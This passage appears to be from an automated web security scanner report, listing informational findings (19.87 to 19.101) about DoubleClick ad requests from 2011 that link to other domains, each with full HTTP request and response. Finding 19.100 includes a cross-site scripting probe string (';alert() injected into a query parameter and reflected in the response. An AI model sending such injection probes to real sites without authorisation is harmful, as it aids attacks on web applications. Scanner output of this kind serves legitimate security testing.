3B41978572/41996359/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bu%3D%5E%5E%3Bsz%3D250x26%3Btile%3D2%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240681429;61791348;o;pc=[TPAS_ID]">
<IMG SRC="http://s0.2mdn.net/1363789/PID_1607418_250x26_TA_MarketWatch-fk.png" width="250" height="26" BORDER="0" alt="">
</A>
...[SNIP]...

19.87. http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/mutualfunds_jaffe

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe;mc=MWRetWeek;s=8_10001;u=%5e%5elA;biz=1053;sz=377x100;tile=2;ord=1531063701?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2576773/MW_RW_377.jpg

Request

GET /adi/marketwatch.com/mutualfunds_jaffe;mc=MWRetWeek;s=8_10001;u=%5e%5elA;biz=1053;sz=377x100;tile=2;ord=1531063701? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:31:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 589

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/
...[SNIP]...
u=^^lA;~okv=;mc=MWRetWeek;s=8_10001;u=^^lA;biz=1053;sz=377x100;tile=2;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_RetirementWeekly?dist=IYMLMST1R"><img src="http://s0.2mdn.net/viewad/2576773/MW_RW_377.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.88. http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/mutualfunds_jaffe

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe;mc=MWRetWeek;s=8_10001;u=%5e%5elA;biz=1053;sz=571x100;tile=1;ord=1531063701?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2576773/MW_RW_571.jpg

Request

GET /adi/marketwatch.com/mutualfunds_jaffe;mc=MWRetWeek;s=8_10001;u=%5e%5elA;biz=1053;sz=571x100;tile=1;ord=1531063701? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:51 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 589

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/
...[SNIP]...
u=^^lA;~okv=;mc=MWRetWeek;s=8_10001;u=^^lA;biz=1053;sz=571x100;tile=1;~aopt=2/1/ff/1;~sscs=%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_RetirementWeekly?dist=IYMLMSB1R"><img src="http://s0.2mdn.net/viewad/2576773/MW_RW_571.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.89. http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/Homepage_Main_Front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;ord=5424542454245424;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2802210/1-nav_Module2.gif

Request

GET /adi/smartmoney.com/Homepage_Main_Front;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;ord=5424542454245424; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:19:18 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 526

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/a;241002750;0-0;0;62167023
...[SNIP]...
2085729/1;;~okv=;!category=;page=magsubscribe;;mc=0;tile=5;sz=378x115;;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAB"><img src="http://s0.2mdn.net/viewad/2802210/1-nav_Module2.gif" border=0 alt="Click here"></a>
...[SNIP]...

19.90. http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/Homepage_Main_Front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front;!category=;page=adBrand;;mc=0;tile=7;sz=377x140;ord=4393439343934393;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1867819/ssga_377x140-r01.gif

Request

GET /adi/smartmoney.com/Homepage_Main_Front;!category=;page=adBrand;;mc=0;tile=7;sz=377x140;ord=4393439343934393; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:41 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 458

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;240156713;0-0;0;62167023;29332-377/140;41933718/41951505/1;;~okv=;!category=;page=adBrand;;mc=0;tile=7;sz=377x140;;~aopt=2/1/ff/1;~sscs=%3fhttp://online.wsj.com/ad/privatewealth"><img src="http://s0.2mdn.net/viewad/1867819/ssga_377x140-r01.gif" border=0 alt="Click here"></a>
...[SNIP]...

19.91. http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/SmartMoney_Main_Front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;ord=2886288628862886;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2802210/1-Product_Module2.gif

Request

GET /adi/smartmoney.com/SmartMoney_Main_Front;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;ord=2886288628862886; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:21:26 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 524

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/o;241002442;0-0;1;62559705
...[SNIP]...
7982/42085769/1;;~okv=;!category=;page=smcirc;;mc=0;tile=4;sz=377x140;;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDFGODAC"><img src="http://s0.2mdn.net/viewad/2802210/1-Product_Module2.gif" border=0 alt="Click here"></a>
...[SNIP]...

19.92. http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/SmartMoney_Main_Front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front;u=;!category=;page=magsubscribe;;mc=0;tile=1;sz=378x115;ord=5215521552155215;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2802210/1-nav_Module2.gif

Request

GET /adi/smartmoney.com/SmartMoney_Main_Front;u=;!category=;page=magsubscribe;;mc=0;tile=1;sz=378x115;ord=5215521552155215; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:21:27 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 531

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;241002750;0-0;0;62559705
...[SNIP]...
29/1;u=;~okv=;u=;!category=;page=magsubscribe;;mc=0;tile=1;sz=378x115;;~aopt=2/1/ff/1;~sscs=%3fhttps://w1.buysub.com/servlet/OrdersGateway?cds_mag_code=SMY&cds_page_id=66975&cds_response_key=IDLGODAB"><img src="http://s0.2mdn.net/viewad/2802210/1-nav_Module2.gif" border=0 alt="Click here"></a>
...[SNIP]...

19.93. http://ad.doubleclick.net/adi/smartmoney.com/tool_module previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/tool_module

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/smartmoney.com/tool_module;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;ord=2642264226422642;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/817-grey.gif

Request

GET /adi/smartmoney.com/tool_module;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;ord=2642264226422642; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:21:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 390

<head><title>Click here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/t;44306;0-0;0;62335141;1510-234/31;0/0/0;;~okv=;!category=;page=commentSponsor;;mc=0;tile=2;sz=234x31;;~aopt=2/1/ff/1;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click here"></a>
...[SNIP]...

19.94. http://ad.doubleclick.net/adj/allthingsd.com/front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/allthingsd.com/front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/allthingsd.com/front;tile=1;sz=300x250;ord=6412251458968967000?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3179972/brocade-cc_atd-r01-300x250.png

Request

GET /adj/allthingsd.com/front;tile=1;sz=300x250;ord=6412251458968967000? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:15:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 375

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/c;240444264;0-0;0;16717987;4307-300/250;41893426/41911213/1;;~okv=;tile=1;sz=300x250;~aopt=2/1/ff/1;~sscs=%3fhttp://allthingsd.com/topics/cloud-computing/"><img src="http://s0.2mdn.net/viewad/3179972/brocade-cc_atd-r01-300x250.png" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.95. http://ad.doubleclick.net/adj/allthingsd.com/general previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/allthingsd.com/general

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/allthingsd.com/general;tile=1;sz=300x100;ord=5629598903469741?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1146650/atd-iphone-300x100.jpg

Request

GET /adj/allthingsd.com/general;tile=1;sz=300x100;ord=5629598903469741? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/about/kara-swisher/ethics/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:33:39 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 411

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;211715823;0-0;0;16721520;3823-300/100;31527772/31545648/1;;~okv=;tile=1;sz=300x100;~aopt=6/1/ff/1;~sscs=%3fhttp://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=316429710&mt=8&s=143441"><img src="http://s0.2mdn.net/viewad/1146650/atd-iphone-300x100.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.96. http://ad.doubleclick.net/adj/allthingsd.com/kara_singlepost previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/allthingsd.com/kara_singlepost

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/allthingsd.com/kara_singlepost;tile=1;sz=300x100;ord=7205884598661214?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1146650/atd-iphone-300x100.jpg

Request

GET /adj/allthingsd.com/kara_singlepost;tile=1;sz=300x100;ord=7205884598661214? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:23:09 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 411

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;211715823;0-0;0;16718698;3823-300/100;31527772/31545648/1;;~okv=;tile=1;sz=300x100;~aopt=6/1/ff/1;~sscs=%3fhttp://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=316429710&mt=8&s=143441"><img src="http://s0.2mdn.net/viewad/1146650/atd-iphone-300x100.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.97. http://ad.doubleclick.net/adj/barrons.com/survey previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/barrons.com/survey

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/barrons.com/survey;!category=richmedia;sz=300x250;ord=3176541

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3189947/WhiteGlove-300x250.gif

Request

GET /adj/barrons.com/survey;!category=richmedia;sz=300x250;ord=3176541 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=3;sz=300x250;ord=2817281728172817;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:31:21 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 398

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/o;240932158;0-0;0;25648719;4307-300/250;42045437/42063224/1;;~okv=;!category=richmedia;sz=300x250;~aopt=2/1/ff/1;~sscs=%3fhttp://www.wrhambrecht.com/ind/auctions/openipo/whch/index.html"><img src="http://s0.2mdn.net/viewad/3189947/WhiteGlove-300x250.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.98. http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/interactive.wsj.com/front_nonsub

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;ord=6698669866986698;

The response contains the following link to another domain:

http://view.atdmt.com/INV/view/283426202/direct/01/2848510

Request

GET /adj/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;ord=6698669866986698;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:09:22 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1437

document.write('<iframe src=\"http://view.atdmt.com/INV/iview/283426202/direct/01/2848510?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/q%3B239204646%3B0-0%3B0%3B29743509%3B4307-300/250%
...[SNIP]...
B%3B%7Eokv%3D%3B%21category%3D%3B%3Bmc%3Db2pfreezone%3Btile%3D8%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D7/1/ff/1%3B%7Esscs%3D%3fhttp://clk.atdmt.com/INV/go/283426202/direct/01/2848510" target="_blank"><img src="http://view.atdmt.com/INV/view/283426202/direct/01/2848510"/></a>
...[SNIP]...

19.99. http://ad.doubleclick.net/adj/interactive.wsj.com/topics_subject_DLW previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/interactive.wsj.com/topics_subject_DLW

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/interactive.wsj.com/topics_subject_DLW;!category=;page=topics;biz=1053;;;mc=b2pfreezone;tile=2;sz=300x250,336x280,300x600,336x850;ord=3747374737473747;

The response contains the following link to another domain:

http://s0.2mdn.net/3123050/PID_1605447_300x600_old_dominion.gif

Request

GET /adj/interactive.wsj.com/topics_subject_DLW;!category=;page=topics;biz=1053;;;mc=b2pfreezone;tile=2;sz=300x250,336x280,300x600,336x850;ord=3747374737473747; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/interactive.wsj.com/topics_subject_DLW;!category=;page=topics;biz=1053;;;mc=b2pfreezone;tile=2;sz=300x250,336x280,300x600,336x850;ord=3747374737473747;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:12:36 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 36891

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
336x280%2C300x600%2C336x850%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://www.odpromises.com/expedited/?utm_source=ODFL2011&utm_medium=ODFL2011_WSJ_CustomUnit_CustomUnit_300x600&utm_campaign=ODFL2011"><IMG SRC="http://s0.2mdn.net/3123050/PID_1605447_300x600_old_dominion.gif" width="300" height="600" BORDER=0 alt=""></A>
...[SNIP]...

19.100. http://ad.doubleclick.net/adj/marketwatch.com/brokerdock previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/brokerdock

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;u=%5e%5e31eba';alert(

The response contains the following link to another domain:

http://s0.2mdn.net/1363789/PID_1607418_250x26_TA_MarketWatch-fk.png

Request

GET /adj/marketwatch.com/brokerdock;u=%5e%5e31eba';alert( HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 52041
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 14 May 2011 10:35:07 GMT
Expires: Sat, 14 May 2011 10:35:07 GMT

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
50%3B255-0/0%3B41978572/41996359/1%3Bu%3D%5E%5E31eba%27%3B%7Eokv%3D%3Bu%3D%5E%5E31eba%27%3Balert%28%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240681429;61791348;o;pc=[TPAS_ID]"><IMG id="IMG_'+ variableName +'" SRC="http://s0.2mdn.net/1363789/PID_1607418_250x26_TA_MarketWatch-fk.png" width="250" height="26" BORDER=0 alt=""/></A>
...[SNIP]...

19.101. http://ad.doubleclick.net/adj/marketwatch.com/personalfinance_story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/marketwatch.com/personalfinance_story

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/marketwatch.com/personalfinance_story;p39=223;p39=234;p39=220;p39=227;p39=5560;s=8_10001;u=%5e%5elA;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;ord=1015591673

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3094835/TRC_duPont_336x280.jpg

Request

GET /adj/marketwatch.com/personalfinance_story;p39=223;p39=234;p39=220;p39=227;p39=5560;s=8_10001;u=%5e%5elA;biz=1053;sz=300x250,336x280,300x600,336x850;tile=6;ord=1015591673 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/cdn_content/business/re.html?ad_DisplayAd1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:33:39 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 452

